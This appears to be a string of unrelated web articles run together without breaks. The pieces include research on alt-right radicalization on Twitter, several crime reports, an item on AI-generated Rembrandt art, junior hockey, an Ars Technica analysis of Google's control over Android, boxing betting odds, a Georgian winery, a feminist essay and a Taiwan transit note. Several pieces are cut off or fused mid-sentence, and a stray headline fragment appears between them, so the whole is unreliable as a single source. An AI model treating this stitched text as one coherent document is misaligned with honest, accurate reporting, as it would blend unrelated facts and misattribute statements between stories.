Many others explicitly declared their allegiance to neo-Nazi and white separatist movements in the text of their profiles by proclaiming “white pride,” or explicitly identifying themselves as “white nationalists.” Almost everyone in the alt-right network is an enthusiastic and vocal supporter of Donald Trump, through the core group of extremists is more likely to mention their race, white nationalism, and national socialism than any presidential candidate.
On the left, words found most often in the larger network of alt-right Twitter profiles. On the right, words found most often in white extremist profiles.
Most importantly, analyzing the tweets of this core group of 3,500 extremists reveals a warped, dangerous worldview that openly advocates for murder and genocide.
Using recent advances in machine-assisted text analysis, we then quantified this racist, xenophobic, anti-Semitic, and violent perspective based on the context in which authors use relevant keywords. For example, in typical English, like a mainstream newspaper article, the word “Jewish” is statistically similar to words like “Muslim” and “Christian.” Meaning that mainstream authors usually rely on the word “Jewish” to describe someone or something religious.
On the contrary, in tweets by white extremists, the word “Jewish” is used in a totally different context, where it is statistically similar to words like “communist,” “homosexual,” “anti-white,” and “satanic.”
White extremists are therefore more likely to use the word “Jewish” to signify something they hate, rather than as a religious description. This is no surprise, but it provides an objective metric for understanding how the white extremist perspective diverges from the mainstream.
Imagine two poles at either end of a spectrum that spans from the moderate middle to the potentially violent, radicalized fringe — this metric places a community somewhere on that spectrum. It’s a kind of radicalization score, and those who score highly are ideologically similar to the most violent, dangerous alt-right extremists on Twitter.
When the radicalization score is applied to tweets from the broader alt-right network, it’s clear that the entire white nationalist community is embracing an increasingly extreme ideology. The social media content of white nationalists in July was 25% more radicalized than it was in January, and the rate of radicalization is increasing exponentially.A gunman fatally shot a sheriff's deputy outside a lawyer's office Tuesday and then barricaded himself inside a motel, where he exchanged gunfire with other deputies and was killed, authorities said.Okaloosa County Deputy Bill Myers, 64, was shot multiple times in the back of the head and in the back by 33-year-old Joel Dixson Smith, Sheriff Larry Ashley said. Smith had gone to his lawyer's office to be given a domestic violence injunction by Myers and turn over firearms, Ashley said.As they went to get the guns from Smith's car, Smith drew a concealed weapon and shot Myers multiple times, Ashley said.Smith "was a sick little coward," Ashley said, holding back tears.Smith, a postal worker, then fled in his vehicle, heading to a Comfort Suites about 10 miles away in Niceville, where he had previously rented a room. He barricaded himself inside and deputies fired tear gas into his room. He charged out firing and was shot by deputies, Ashley said.No one else was hurt.Myers had retired in 2013 but started working part-time in January serving civil papers to earn extra money to take his granddaughter to Walt Disney World, the sheriff said.Dixon had been arrested in 2008 for domestic battery, Ashley said, but had no other details. Postal officials had no immediate comment on his employment.Annie Allen works at an awning business next to the law firm. Allen said she and her boss were starting their day when six to eight gunshots rang out."We heard 'pop, pop, pop,'" she said.Allen said she called 911, and her boss ran outside, where he encountered the gunman leaving the law office.Her boss took pictures with his cellphone and followed the gunman in his car, Allen said."The guy got in his truck and just tore out of the parking lot," she said.Allen said she saw the sheriff's deputy on the ground moments later."When I realized it was an officer that he shot, that's when it really hit me how dangerous it was," she said.Electric company crews were working nearby, and those men also called 911 and stayed with the deputy until help arrived, Allen said.She said she and her boss talked to investigators and gave them the cellphone photos and license plate information.Hours later, Allen was still visibly shaken."When someone shoots a law officer, they have nothing to lose," she said. "It is good more people weren't hurt."A Comfort Suites guest, David Bump of Ozark, Alabama, said he awoke Tuesday to deputies pounding at his room."I opened the door and they had their guns drawn," he said.Bump said officers took him and other guests across the street, where they spent hours watching the standoff."When they brought the guy out, he was on a gurney with his face covered," said Bump, who was working in the area as part of a construction crew.He sat in the parking lot later, watching investigators enter and exit the hotel."They just now let me go back in and get my cellphone and cigarettes," he said.A homeowner in Huron, Calif., was just settling in for a nice relaxing afternoon in front of a fire over the weekend when he heard someone yelling from inside the chimney leading from his fireplace.
As his house filled with smoke, he attempted to douse the fire. He summoned the fire department, which worked to dismantle the chimney even as the man was still breathing and moving inside.
But it was too late, and the man died of smoke inhalation and thermal burns, according to the Fresno County Sheriff’s office.
According to the sheriff’s office, the man had attempted to burglarize the house using the chimney for access the night before and had gotten stuck inside. The homeowner was gone at the time, so when he returned home, he had no reason to believe anyone was in the chimney and went ahead and started a fire.
On Sunday, the Fresno County Coroner’s Office identified the deceased individual as Cody Caldwell, 19. The homeowner was not named.
It’s been cold in central California, with temperatures dipping into the 30s at night.Story highlights Taliesin Myrddin Namkai-Meche's mother says her son died a hero
President would honor her son by taking action, she writes
(CNN) The mother of one of the two men stabbed to death on a Portland, Oregon, train has written a letter to President Donald Trump, calling on him to speak out against intolerance.
Asha Deliverance said doing so would honor her 23-year-old son, Taliesin Myrddin Namkai-Meche, who was defending two Muslim women on a commuter train from a man yelling hateful words.
"Your words and actions are meaningful, here in America and throughout the world," Deliverance wrote to Trump.
She said her son had died a hero, like Americans honored on Memorial Day.
Also killed Friday night was Rick Best, a city worker who spent 23 years in the military.
Read MoreRembrandt may have died in 1669 but his artistic legacy lives on thanks in part to a new piece of work created with computer data, instead of the artist’s hands.
Revealed in the Netherlands, ‘The Next Rembrandt‘ is the result of an 18-month project undertaken by a group of art historians, along with software developers, scientists, engineers and data analysts – not the usual team of artists for portraits work.
The team worked tirelessly to anyalyze all known works of Rembrandt, which amounts to over 300 paintings, using high resolution 3D scans to capture every little detail and create an algorithm that would eventually be able to accurately recreate his style. That data was then fed to a 3D printer, which recreated the painting using 13 layers of paint-based UV ink.
And the result? A moody portrait of a 17th century man that looks exactly like Rembrandt’s work. The painting consists of over 148 million pixels, based on more than 160,000 fragments from the artists’s works.
Of course, undertaking such a project opens the doors to calls of forgery and concern but that’s not what the team set out to do. They aren’t trying to fool anyone. The work is the brainchild of Amsterdam-based advertising agency J Walter Thompson and was created for its client, ING Bank.
The idea was to explore innovation in art and there’s no denying the team has achieved this goal. They have pushed the boundaries digitally and in doing so, also raised many questions over the artists of the future and how their work may be created, as well as how we examine and look at historical works of art.
Art and algorithms already have a relationship but perhaps it’s not held to the same standards as the work of masters like Rembrandt and this project has successfully proven it could be. Although, who gets the credit if a computer creates the piece? There is a distinct difference between what you may consider a computer image and one that’s been hand painted, and that boils down to the finest detail, like texture and strokes, which until now were unique to each individual.
The Next Rembrandt project has proven that the line between computer and human-generated art is easily blurred and whether that’s good or bad remains to be seen.
The Next Rembrandt
Read next: MIT's CSAIL has doomed mankind and created a method for 3D printing hydraulic robotsMatt Walilko had a playoff game to remember, recording six goals and five assists. It wasn't exactly a once-in-a-lifetime game since he had a 10-point game earlier this year.
In the dying minutes of his Jr. C playoff game Tuesday night, Matt Walilko of the Midland Flyers had his stick broken in two by a slash. A dastardly deed to be sure, but you can kind of see his opponent’s reasoning. It was the probably same thought process Bobby Clarke had when he broke Valeri Kharlamov’s ankle during the 1972 Summit Series.
“The guy was telling me that my stick was way too hot and he had to break it,” Walilko said. “He just axed the stick right in half and said it had too many points in it. We were laughing about it after the game.”
Considering that stick – along with the 17-year-old using it – was responsible for six goals and five assists in a 12-3 rout over the Huntsville Otters, you can understand why the opponent would rather see that one propping up tomato plants than demolishing his team’s playoff hopes. So when his team hits the ice for Game 6 of their playoff series Friday night, Walilko will be using new lumber, but riding the confidence of a once-in-a-lifetime game.
Or was it? Earlier this season, the Grade 12 high school student registered a 10-point game with five goals and five assists en route to scoring 80 points in 39 games and being named rookie of the year in Ontario’s Provincial Junior Hockey League. Walilko is just 17, playing in a league where there are players as old as 22. He was easily the youngest player among the league’s top 10 scorers this season and one of only two teenagers. In what should come as no surprise, Walilko’s night vaulted him into the league’s playoff scoring lead with 10 goals and 20 points in five games. “It makes it look like I’ve been lighting it up every night,” Walilko said, “but I only had nine points in four games before that one.”
Back to the game, Walilko attributed his good fortune to being in the right place at the right time. He said a couple of key players were out with injuries and school commitments, so he knew he would have to step up. One of his linemates had seven points in the game and the other linemate had six. Walilko said that, as was the case in his 10-point night earlier this season, he went into the game knowing he was facing the opponent’s backup goalie.
“You kind of do your research, right?” Walilko said. “You see the backup is starting and you try to put a lot of pucks on net.”
What makes the feat even more impressive is that it gave Walilko’s team a 3-2 series lead with a chance to win it in Game 6. The Flyers had dug themselves into a 2-0 hole in the series, but have stormed back and clearly have some momentum on their side, not to mention a confident young man leading the attack.
Which begs the question: What is a young man this good doing playing this far down the junior hockey ladder? Well, Walilko played AAA midget last season in Barrie and rather than play on the third or fourth line for a Jr. B or Jr. A team this season, he thought it would be better for his development if he were a prime time player at a lower level. He has his sights set on earning a scholarship, something he hopes to do in a year or so. Walilko plans to take next season off school and hopes to play next season for the Pembroke Lumber Kings. He plans to write his SATs in the hope of attracting interest from U.S. schools.
Flyers president and GM Gerry Asselin said Walilko is so focused on getting a scholarship that he turned down a chance to practice, and perhaps even play, with the struggling Barrie Colts this season. The Flyers are affiliated with the Colts, who are struggling and in last place this season. Asselin said he recently had a conversation with Colts GM Jason Ford, in which Ford asked him to suggest a couple of players the Colts might have a look at down the stretch. Asselin said when he approached Walilko, he was flatly turned down.
“He’s a smart kid,” Asselin said. “He has his head screwed on right.”
A student at a Catholic high school in Barrie, Walilko said he can’t take all the credit for his success. His personal motto comes from the Bible passage Philippians 4:13, which says, “I can do all things through Christ who strengthens me.”
“I’ve put it on every stick I’ve bought since I was a young kid,” Walilko said. “I grew up in a religious family and every time I’m on the ice and having a tough time, I’ll just look down at that and kind of re-motivate myself. It kind of applies to me in everything I do, not just hockey.”
Walilko will be looking to continue making a big contribution in the playoffs, but is another double-digit performance in the future?
“I don’t know if any of my backup sticks have that many points in them, but I’ll try.”
MORE FROM THE HOCKEY NEWS:U.S. and Chinese officials on Tuesday kicked off talks aimed at improving cooperation on commercial cyber espionage investigations.
In the first official cybersecurity dialogue between the two countries since early 2014, Beijing representatives joined the heads of the Justice and Homeland Security departments, and FBI and intelligence community officials, to discuss the logistics of responding to reports of commercial espionage.
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The digital theft of corporate secrets has emerged as one of |
is an absolute goldmine for troublesome hackers Your old router is an absolute goldmine for troublesome hackers
Search
We'll start with the Search app, which is an excellent example of what happens when Google duplicates AOSP functionality.
Search
In August 2010, Google launched Voice Actions. With it, the company introduced "Google Search" into the (then) Android Market. These were the days of Froyo. The above picture shows the latest version of AOSP Search and Google Search running on Android 4.3. As you can see, AOSP Search is still stuck in the days of Froyo (Android 2.2). Once Google had its closed source app up and running, it immediately abandoned the open source version. The Google version has search by voice, audio search, text-to-speech, an answer service, and it contains Google Now, the company's predictive assistant feature. The AOSP version can do Web and local searches and... that's it.
Music
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Google first demoed its cloud music service at Google I/O 2010, and sure enough, that's about when the AOSP music app was frozen in time. To this day, it still looks and acts like a Froyo app.
Music
Play Music has gained access to Google's cloud music storage, along with a huge music store and subscription option. Play Music has also gone through several user interface redesigns, gaining Equalizer and Chromecast support. The two apps are so different now, it's hard to imagine that they once were the same thing.
Calendar
Google Calendar was one of the more recent apps to get the closed source treatment. The way this process is pitched to the Android community is always rather amusing: The stock calendar is now available to everyone! We can now do updates from the Play Store! There are more features! (Oh, and by the way, it's closed source now.)
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Since this was a recent split, there isn't much of a difference between the two versions. Google Calendar will sync notifications across devices, and it's gotten a cool new icon. I wouldn't expect the AOSP calendar to get these updates anytime soon.
Keyboard
Even the keyboard is not safe from closed source creep. A few months ago, Google added Swype-like gesture typing to the stock keyboard, which was released as a new app in the Play Store called "Google Keyboard."
Guess where the source code for that is? Not in AOSP. Above, you can see the settings for the two keyboards. The Google Keyboard has options for swipe typing, and AOSP doesn't -- it was abandoned as soon as Google Keyboard was released.
The keyboard settings screens showing the missing features
Gallery/Camera
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The Camera and Gallery are actually a single APK (Android application package file). The AOSP version is called "Gallery2.apk," and Google's version is called "GalleryGoogle.apk."
As you can see in the above picture, Photospheres are exclusive to the Google version -- the innovative camera mode is not available on AOSP. The open source version also omits any Google+ album integration. The normal behavior is to display cloud-based Google+ albums alongside local ones.
Gallery/Camera
Here, though, we've got to give Google some credit. While the AOSP version hasn't kept up in terms of features, the new design introduced in 4.3 has made it to the Android source code.
The future
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While it hasn't yet been released, the next app out the door is the stock SMS app. Although folks are clamoring for Google Hangouts to integrate text messaging and really go after iMessage, that would mean you'd be moving Android's SMS functionality to a closed source app. Once Google does make the switch, I predict that in one or two Android versions, you'll see the SMS app disappear as a default app, similar to what Google did when it killed the stock web browser in favor of Chrome (though Chrome is still open source).
When Hangouts does integrate SMS, the AOSP messaging app will be completely abandoned. Messaging already seems halfway down the path to retirement. (It hasn't seen a significant updating since its big redesign in Android 4.0.) So when this finally comes to pass, you'll know what the subtext will be: the open source texting app will be dead.
The future
Also next on the chopping block is the open source Gallery.
In leaked pictures of KitKat, the next version of Android, there is a new icon called "Google Photos." "Gallery," which alphabetically should be between "E-mail" and "Gmail," is suspiciously absent. While we've never seen Google Photos before, it shares the same icon as a current Google app called "G+ Photos."
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It looks like the AOSP Gallery is going to die and be replaced by a service with a closed source app that heavily depends on Google+.
It's the ultimate expression of Google's new walled garden.
Locking-in manufacturers
While Google is out to devalue the open source codebase as much as possible, controlling the app side of the equation isn't the company's only power play.
If a company does ever manage to fork AOSP, clone the Google apps, and create a viable competitor to Google's Android, it's going to have a hard time getting anyone to build a device for it.
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In an open market, it would be as easy as calling up an Android OEM and convincing them to switch, but Google is out to make life a little more difficult than that. Google's real power in mobile comes from control of the Google apps -- mainly Gmail, Maps, Google Now, Hangouts, YouTube, and the Play Store. These are Android's killer apps, and the big (and small) manufacturers want these apps on their phones. Since these apps are not open source, they need to be licensed from Google. It is at this point that you start picturing a scene out of The Godfather, because these apps aren't going to come without some requirements attached.
While it might not be an official requirement, being granted a Google apps license will go a whole lot easier if you join the Open Handset Alliance. The OHA is a group of companies committed to Android -- Google's Android -- and members are contractually prohibited from building non-Google approved devices. That's right, joining the OHA requires a company to sign its life away and promise to not build a device that runs a competing Android fork.
Acer was bit by this requirement when it tried to build devices that ran Alibaba's Aliyun OS in China. Aliyun is an Android fork, and when Google got wind of it, Acer was told to shut the project down or lose its access to Google apps. Google even made a public blog post about it: "While Android remains free for anyone to use as they would like, only Android compatible devices benefit from the full Android ecosystem. By joining the Open Handset Alliance, each member contributes to and builds one Android platform -- not a bunch of incompatible versions."
This makes life extremely difficult for the only company brazen enough to sell an Android fork in the west: Amazon. Since the Kindle OS counts as an incompatible version of Android, no major OEM is allowed to produce the Kindle Fire for Amazon. So when Amazon goes shopping for a manufacturer for its next tablet, it has to immediately cross Acer, Asus, Dell, Foxconn, Fujitsu, HTC, Huawei, Kyocera, Lenovo, LG, Motorola, NEC, Samsung, Sharp, Sony, Toshiba, and ZTE off the list. Currently, Amazon contracts Kindle manufacturing out to Quanta Computer, a company primarily known for making laptops. Amazon probably doesn't have many other choices.
For OEMs, this means they aren't allowed to slowly transition from Google's Android to a fork. The second they ship one device that runs a competing fork, they are given the kiss of death and booted out of the Android family -- it must be a clean break. This, by design, makes switching to forked Android a terrifying prospect to any established Android OEM. You must jump off the Google cliff, and there's no going back.
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Any OEM hoping to license Google Apps will need to pass Google's "compatibility" tests in order to be eligible.
Compatibility ensures that all the apps in the Play Store will run on your device. And to Google, "compatibility" is also a fluid concept that an Android engineer once internally described as "a club to make [OEMs] do what we want." While Google now has automated tools that will test your device's "compatibility," getting a Google apps license still requires a company to privately e-mail Google and "kiss the ring" so to speak. Most of this is done through backroom agreements and secret contracts, so the majority of the information we have comes from public spats and/or lawsuits between Google and potential Android deserters (see: Acer).
Another point of control is that the Google apps are all licensed as a single bundle. So if you want Gmail and Maps, you also need to take Google Play Services, Google+, and whatever else Google feels like adding to the package. A company called Skyhook found this out the hard way when it tried to develop a competing location service for Android. Switching to Skyhook's service meant Google would not be able to collect location data from users. This was bad for Google, so Skyhook was declared "incompatible." OEMs that wanted the Google Apps were not allowed to use them. Skyhook sued, and the lawsuit is still pending.
Testing the waters with bloatware
For most OEMs, leaving the Google ecosystem and still being successful is nothing more than a pipe dream. One way for an OEM to experiment with a Google-free existence without incurring the wrath of Mountain View is to produce alternative versions of Google's apps. This is what most of us dismiss as "bloatware." Bloatware works as a software engineering "what if" thought exercise, where OEMs set out to replicate all of Google's core apps to see just how hard life outside of the walled garden would be.
Samsung does a particularly "good" job of this, going as far as having its own user account system, backend syncing, and app store.
It also maintains the most complete set of alternatives to Google apps. A lot of these, like Internet, E-mail, and Calendar, have roots in AOSP, but Samsung continued to add features long after Google abandoned them for closed alternatives.
Samsung dreams of a Google-free existence
On a phone with Google apps, it seems silly and redundant to have two calendar apps. But many OEMs view bloatware as an important strategic fallback -- a "Plan B" -- for if things ever get really bad. If Google does something out of line and an OEM is forced to leave, the company needs at least something to show prospective customers. OEMs include them with their shipping phones -- because, hey, why not? -- and gain valuable feedback. While this creates redundancy and adds to user confusion, a few users might even like the OEM's version of a core app.
With such a huge list of alternative apps, it might seem like Samsung is poised to jump ship at any moment, but replicating the Google apps is only a small portion of the massive effort it would take to break free of the Google ecosystem. The aspect of Android that an OEM really wants is the gigantic third-party app selection.
Google knows this is its biggest weakness, and the company has started working to make the app ecosystem Google-dependent as well.
Locking in third party apps
We previously explored Play Service's update implications, but it is a huge weapon in the fight against Android forks. Play Services is a closed source app owned by Google and licensed as part of the Google Apps package. Any feature you see move from "normal" Android to Google Play Services is also moving from open source to closed source. This app pulls off the neat trick of not only enticing users with exclusive, closed source features, but locking in third-party developers with Google's proprietary APIs as well.
Taking the Android app ecosystem from Google seems easy: just get your own app store up and running, convince developers to upload their apps to it, and you're on your way. But the Google APIs that ship with Play Services are out to stop this by convincing developers to weave dependence on Google into their apps. Google's strategy with Google Play Services is to turn the "Android App Ecosystem" into the "Google Play Ecosystem" by making a developer's life as easy as possible on a Google-approved device -- and as difficult as possible on a non-Google-approved device.
If you use any Google APIs and try to run your app on a Kindle, or any other non-Google version of AOSP: surprise! Your app is broken. Google's Android is a very high percentage of the Android market, and developers only really care about making their app easily, making it work well, and reaching a wide audience. Google APIs accomplish all that, with the side effect that your app is now dependent on the device having a Google Apps license.
Google Maps API
The Google Maps API allows you to use Google's map data in your application. It's extremely handy for things like overlying the weather on top of a map or showing location in a travel app. The only problem is, it's part of Google services and not part of Android. Relying on the Maps API means your app will not work on a non-Google-approved device.
In response to this, Amazon was forced to license mapping data from Nokia and build a working clone of the Google Maps API. The company even has an instruction page dedicated to migrating your app from Google Maps. Again, Google is all about making life easy in its ecosystem and extremely difficult outside of it. If you want to run on the Kindle, you now need to support two different Maps APIs.
It's a terrible situation for the Android forker, in this case Amazon, who now has to deal with either paying license fees to Nokia forever or going out and mapping the entire planet on its own. Amazon is also now required to keep up with Google's break-neck pace of development: Amazon's Maps API supports Google Maps API v1, but Google is already up to v2. If you're a developer and depend on some new feature in the Maps v2 API, Amazon doesn't support it yet. Now you have even more work to do.
Google Cloud Messaging
Google Cloud Messaging (GCM) is the easiest way to do push notifications on Android, but you'll never see it on AOSP. GCM was recently added to Play Services at I/O 2013, and it now includes not only receiving notifications, but also pushing messages upstream. It's responsible for the newly added ability to sync notifications across devices. Developers often use GCM to push breaking news out to devices or to notify an app that new data is available and a sync should be performed.
While Google Maps may seem like it would be used in a small amount of apps, many more apps need push messaging in order to be any good. This is another feature that Amazon was forced to copy in order to not be left behind. Its version is called "Amazon Device Messaging," and it only works on Amazon devices. Just like the Maps API, you'll be doing extra work and testing for a very small subset of users. Every feature of GCM might not be in Amazon's version, so you'll have extra work to figure out ways around that.
Location APIs
At Google I/O 2013, Google revamped the Android location APIs and released them as part of Google Play Services. In other words, Android's top-tier location services are now closed source. If the above history is any indication, the open source location stack will be left to rot. The added features include the Fused Location Provider, a "complete rewrite" of Android's location algorithms, Geofencing (which lets you define locations on a map that will trigger events in an app when the user enters them), and Activity recognition, which uses accelerometer data and fancy algorithms to determine if the user is walking, biking, or driving -- all without turning on the GPS.
It made complete sense to put the Maps API and Google Cloud Messaging into a proprietary app, as those services depend on Google servers to function. However, moving over the entire location stack feels like a massive power grab on Google's part.
There are now two methods to get location: the good, low power, closed source Google way, and the crappy, battery expensive, open source way.
In-app purchasing
The best in-app purchasing on Android is done through the Google Play Store. If a developer wants their app to work on a Kindle or in China, however, they'll be stuck having to find another solution. This is another feature where, if you want to have a viable AOSP fork, you'll have to replicate it, which is just what Amazon did with the Amazon In-App Purchasing API. Samsung is even in on the party, having introduced an in-app purchasing API two years ago.
Play Games
Play Games is another proprietary API that solves a lot of difficult problems for mobile developers. It provides easy access to user accounts, leaderboards, achievements, cloud saves, anti-piracy, and (on Android) real-time multiplayer. The best part is that works on just about everything: Web apps, iOS, and Android.
Well, everything except AOSP, which is not supported.
This is yet another thing a third-party app could depend on and an alternate Android distribution would have to replicate.
Amazon has a set of game APIs called "GameCircle," but it's not a drop-in replacement for Play Games, the way the Amazon Maps API is. A developer will have to spend time making a completely separate multiplayer implementation work.
Supporting lock-in by supporting iOS
The borderline-evil-genius part of Google's strategy is that 90 percent of the Google APIs are also supported on iOS. Now, put yourself in the shoes of a developer deciding whether or not to use Google's APIs: many of Google's solutions offer best-in-class usability, functionality, and ease-of-implementation. Google supports both major mobile platforms, so it will cover a very high percentage of your potential user base. The only bad part is that it won't work with an Android fork, but any AOSP fork is going to be a tiny sliver of your possible target devices.
Most developers probably say "yes" to Google APIs, and the next question is what should they do about the Kindle and other Android forks? Developers are largely on their own to find a replacement API solution, which might be out of date and might not work perfectly with their existing app. If this other solution isn't a perfect drop-in replacement, the developer will have to figure out how to design their app around the missing feature. Since this is such a small amount of users compared to their current iOS +
Android user base, is it even worth it to try to figure out this separate ecosystem? Will they get a return on their time investment? It would be easy to say "the hell with forked Android" and skip all the extra work and Q/A that would entail.
Samsung isn't going anywhere
This is the section that shows why Amazon can live without Google and Samsung can't. While Amazon is a Google-API-copying machine, Samsung doesn't have many answers for third-party developers that currently rely on Google. Any speculation about Samsung leaving the Google ecosystem is premature until you see it licensing map data or building a cloud messaging API.
Amazon has done a decent job of keeping up, but the company was born on the Internet. Servers and software are the company's forte, so building out a bunch of cloud services isn't a huge change.
Samsung Electronics is, well, an electronics company -- building a cloud infrastructure and a bunch of APIs isn't in its DNA. So while Amazon can whip this together in a few years on the back of its cloud services platform, Samsung has much more of an uphill climb ahead of it.
Samsung has made a tiny bit of progress. As mentioned, the company has its own SDK for in-app purchases. Interestingly, it also has an advertisement SDK, but ads actually make money. Google supports ads on Android, iOS, Android forks, and even Windows Phone.
A "look but don't touch" kind of open
If a company even wanted to consider forking Android and creating a viable commercial competitor, they would have to replicate everything in this article. Even then, you've only broken even. You would still have to give your users a reason to switch from Google's Android to your fork of Android.
Google does everything in-house. The company gets Maps and all of its cloud services basically for free. Any company trying to follow in these footsteps will probably have to outsource something on this list. Amazon having to license Nokia's Map data is an excellent example. Google sells ads against Maps -- it actually makes the company money -- while Amazon has to pay a per-user fee for its mapping data. This is the kind of radically different income situation an Android forker will be facing on a daily basis. Google's services cost less than nothing, and anyone competing will end up paying a monthly fee to some other company.
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If a company does manage to fork Android and make something compelling outside of Google's ecosystem, there's the little matter of nearly every manufacturer being contractually barred from manufacturing a device that runs the new OS. Even if this new Android derivative is better, for an OEM jumping out of the Google ecosystem, it's probably more trouble -- and risk -- than it's worth.
While Android is open, it's more of a "look but don't touch" kind of open. You're allowed to contribute to Android and allowed to use it for little hobbies, but in nearly every area, the deck is stacked against anyone trying to use Android without Google's blessing. The second you try to take Android and do something that Google doesn't approve of, it will bring the world crashing down upon you.
This story originally apeared on ars technicaStephen A. Smith doesn't think fans interested in the McGregor-Mayweather bout are necessarily "suckers," as Dan Le Batard described. (1:37)
This week's official announcement of the Floyd Mayweather-Conor McGregor boxing match generated a flurry of betting action that caused Las Vegas sportsbooks to significantly trim the odds on Mayweather, who is the favorite, and left them holding lopsided action on McGregor.
When the fight was announced Wednesday, Mayweather, the former boxing pound-for-pound king, was listed as a minus-1,100 favorite. But by Saturday afternoon, Mayweather's odds had been trimmed nearly in half, down to minus-600 at some shops, as books were flooded by small bets on McGregor, the UFC lightweight champion.
Editor's Picks Behind the Bets Chad Millman talks to Bob Scucci and Ben Fawkes about Floyd Mayweather's betting prowess and his upcoming fight against Conor McGregor. Later, Joe Peta joins to talk MLB.
At Caesars Palace sportsbooks, 140 of the first 144 bets were on McGregor, who was paying back around 5-1. Almost all of the early action was small and placed by recreational bettors. One sportsbook manager described it as "square-a-palooza."
"Everyone and their cousin wants action on this fight," the sportsbook manager told ESPN in an email.
Conor McGregor was paying back around 5-1 at Caesars Palace sportsbooks, where 140 of the first 144 bets for his fight against Floyd Mayweather were on McGregor. Mark J. Rebilas/USA TODAY Sports
More money had been bet on the Mayweather-McGregor fight in the past two days at Caesars Palace than had been bet over the past month on Andre Ward's title fight against Sergey Kovalev, which Ward won Saturday night.
The bets on Mayweather, however few and far between, have typically been larger than the bets on McGregor. The Westgate SuperBook took a $50,000 bet on Mayweather on May 30, two weeks before the fight was made official, and CG Technology took a $45,000 bet on Mayweather on Thursday.
At the Westgate, 90 percent of the bets were on McGregor, but 79 percent of the money was on Mayweather.
On Saturday, the Westgate released odds on the method of victory. Mayweather by knockout was a hefty favorite at 5-9. Mayweather by decision was listed at 2-1, followed by McGregor by knockout at 6-1. McGregor by decision was 30-1.
The Mayweather-McGregor fight will take place Aug. 26 in Las Vegas.By Tika Bujiashvili
“A winery is a building or property that produces wine, or a business involved in the production of wine, such as a wine company.“
Kakheti is the most important region for winemaking, characterized by its unique vine grape varieties, well suited climate and centuries of exceptional winemaking experience. In the heart of Kakheti, near the foothills of the Great Caucasus Mountains, is a small city of Kvareli. Shilda, a village of Kvareli district, is home to the very beautiful ‘Chelti Winery’.
The Wine Company “Chelti” was founded in 2001. From the beginning the company had its own vineyards to control the quality of grapes. In 2006 the Company already had its own wine cellar.
As the owner of the wine cellar George Mirianashvili says he is very careful about the quality of the products. His group has set a goal to produce only few appellation, but high quality. The Company was awarded many times. Saperavi Chelti 2010 is 2014 Gold winner in tasting category.
The wine is exported in United States, Germany, Kazakhstan, Canada, Russia, Ukraine and China.
The wine cellar organizes Wine Tours. Wine Tours include two kinds of wine tasting: You can taste three kinds of wine and those who are more interested in different varieties of wine choose tasting of six varieties of wine.
In the frame of wine tour tourists can also try to bake Kakhetian Shoti bread. It is traditionally baked in a deep clay oven called a tone. It requires quite a bit of strength to knead the dough and a great deal of skill to place the dough inside the tone.The baker leans into the very hot tone and presses the dough firmly against the tone wall.
Another surprise for tourist might be making Churchkhelas. Churchkhela is a home-made traditional dessert made by repeatedly dipping a long string of nuts in Tatara-a mixture of flour and Badagi (grape juice).
Why Chelti Winery? The main charm of the Winery is its location. It is situated between Gremi and Nekresi, two must see places of Kakheti Region and after that, as gastronomy and wine have become key components for experiencing the culture and lifestyle of any destination and grow travel motivation of visiting the winery, here, the owner himself can serve and explain wine making process in details. In the end the tourists receive knowledge, enjoy the scenery and drink good wine.
AdvertisementsI know how you feel looking in the mirror — poking the little hairs on your tummy, the weird lumps of fat on your thighs, the stretchmarks on your hips. You look at yourself and you think, “This isn’t what I am supposed to be.” You’re not quite sure what you are supposed to be, exactly, but you have a vague idea of something between a Disney princess and one of the Maxim Hot 100. You should be a thing with clean, smooth, gently curved lines and hairless, soft surfaces. You should be a thing that responds well to touch and opens itself up to criticism. You should be a thing that is at once unattainable and perfectly available for the world to poke and prod with its never-closing eyes. But most of all, you should be a thing.
You know this because you’ve been told it all your life. You have heard other girls callously mock your form in the locker rooms in middle school. You have understood the vague references by family members to lose weight or to dress better or to go out and make more friends. You have seen the people you loved refuse to love you back in the same way because you would never, ever be good enough for their fleeting approval. You have been told that there is a price of admission in life, and that price is being pleasing to everyone but yourself. For as long as you can remember, your body has been a conduit for legislation and furrowed brows and serious talks about what is happening to our generation. Your sexuality has been a means of addressing what kind of person you are fundamentally, of the exact amount of respect you deserve to receive in life. You have not been fully there, because you weren’t allowed to be.
I know how hard it is to feel good about yourself, and to do it in a way that isn’t afraid to make itself known. I know what it feels like to roll that ball all the way up the hill to the moment where you feel like you can finally say “I am awesome and beautiful,” only to be told that you are conceited and undesirable for doing so. You feel as though confidence in yourself is a forbidden commodity that you must squirrel away in the back of your closet and enjoy only in moments of absolute privacy — not unlike the shameful snack foods that you are constantly told will make you fat and ugly. You have learned to take the moments of precious self-esteem as they come, but to never make it seem as though you live in a constant state of fulfillment, lest you be harshly reminded of your place.
You are jealous of men. You are jealous of them in a way they will never be able to understand because they will never realize that their lives are so very valuable, so meaningful that they are entitled to be individuals. You often look at the ease with which they move around society, in and out of groups and cities and streets which terrify you to even pass by, and you grow almost hateful in your jealousy. The world seems to have been given to them, and they don’t even see what a precious gift it is to be able to live in it without apology. You wish that men, for once in their lives, could be judged as a whole by the actions of one, or deemed just slightly less human because they had sex with just one too many people. You wish this and then feel ridiculous, because you know that it will not happen. You know that you will be labeled as crazy or resentful for even pointing it out.
You have known the sting of having every ounce of your self-worth, every source of your opinions or experiences in life; being inextricably tied to your relationship with a man. Your thoughts only defined in the context of “daddy issues” or “heartbroken” or “a woman scorned.” You wish that you could tell people that your professional life has nothing to do with your male boss noticing your tight cardigan, or your coworker not wanting to fuck you when you wore that dowdy blouse. You wish that you didn’t have to explain to people your relationship status in the same breath that you detailed your personal achievements, your goals for the future, and your views as a human being. You wish that you could just be a person, and not one half constnatly looking to be made whole.
I know what it feels like to want to be the perfect woman, to see that there are so many directions to go in and only two feet to walk with — if you even knew how to stay on the tightrope that exists between “attention whore” and “frigid bitch.” I know that you have grown to hate that woman in some ways, to be consumed with jealousy you don’t know how to channel because another woman has been deemed more human for fitting into an archetype you can never hope to fit yourself. And I know that the worst part is that you don’t even want to be this woman, and you never have, you just wish that you could convince the world you are okay the way you are.Taipei, Feb. 14 (CNA) The Taiwan Taoyuan International Airport Mass Rapid Transit (MRT) line will begin the next phase of trial runs Thursday, with free rides to be offered to individual passengers in the two weeks before commercial operations begin March 2, Taoyuan Mayor Cheng Wen-tsan (鄭文燦) said Tuesday.
